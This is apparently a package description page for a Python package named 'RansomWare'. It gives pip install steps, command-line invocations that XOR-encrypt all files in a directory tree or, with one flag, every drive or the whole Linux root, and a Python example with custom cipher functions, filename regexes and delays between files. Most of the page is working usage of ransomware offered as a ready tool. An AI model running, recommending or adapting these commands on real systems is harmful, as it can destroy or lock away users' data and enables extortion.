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Description:

RansomWare 0.0.1

RansomWare
Description
This package implement a RansomWare.
Requirements
This package require :

python3
python3 Standard Library

Installation
pip install RansomWare

Launcher
Command line:
RansomWare aaa # Crypt all files in current directory and subdirectories with XOR and key aaa
RansomWare -t 56 aaa # Crypt all files in current directory and subdirectories with XOR and key aaa and sleep 56 secondes between file.
RansomWare -e 64 YWFh # Crypt all files in current directory and subdirectories with XOR and key aaa (encoded with base64)
RansomWare -d dir aaa # Crypt all files in dir and subdirectories with XOR and key aaa
RansomWare -a aaa # Encrypt all files on Windows this argument encrypt "A:\", "B:\", "C:\", ... "Z:\". On Linux this argument replace directory by "/".

Python script
from RansomWare import RansomWare

def get_IV(filename: str) -> bytes:
""" This function return my custom IV. """
return filename.encode()

def crypt(key: bytes, data:bytes) -> bytes:
""" This function encrypt data with key. """
return bytes([(car + key[i % len(key)]) % 256 for i, car in enumerate(data)])

def decrypt(key: bytes, data:bytes) -> bytes:
""" This function decrypt data with key. """
return bytes([(car - key[i % len(key)]) % 256 for i, car in enumerate(data)])

cryptolocker = RansomWare(
b"aaa", # Key
function_encrypt = crypt, # function to encrypt from key and data
function_IV = get_IV, # function to get IV from filename
directory = "dir", # directory to encrypt
timeBetweenCrypt = 5, # time to sleep between encrypt files
regexs_filename_to_encrypt = [".*txt", ".*ini"], # encrypt file if filename match with this regex
regexs_filename_dont_encrypt = ["^/bin.*"], # don't encrypt file if filename match with this regex
)
cryptolocker.launch()

unlock = RansomWare(
b"aaa", # Key
function_encrypt = decrypt, # function to decrypt from key and data
function_IV = get_IV, # function to get IV from filename
directory = "dir", # directory to decrypt
timeBetweenCrypt = 5, # time to sleep between decrypt files
regexs_filename_to_encrypt = [".*txt", ".*ini"], # decrypt file if filename match with this regex
regexs_filename_dont_encrypt = ["^/bin.*"], # don't decrypt file if filename match with this regex
)
unlock.launch()

Python executable:
python3 RansomWare.pyz -t 5 -d dir -e 64 YWFh

# OR
chmod u+x RansomWare.pyz # add execute rights
./RansomWare.pyz aaa # execute file

Python module (command line):
python3 -m RansomWare aaa
python3 -m RansomWare.RansomWare -t 5 -d dir -e 64 YWFh

Links

Github Page
Documentation
Download as python executable
Pypi package

Licence
Licensed under the GPL, version 3.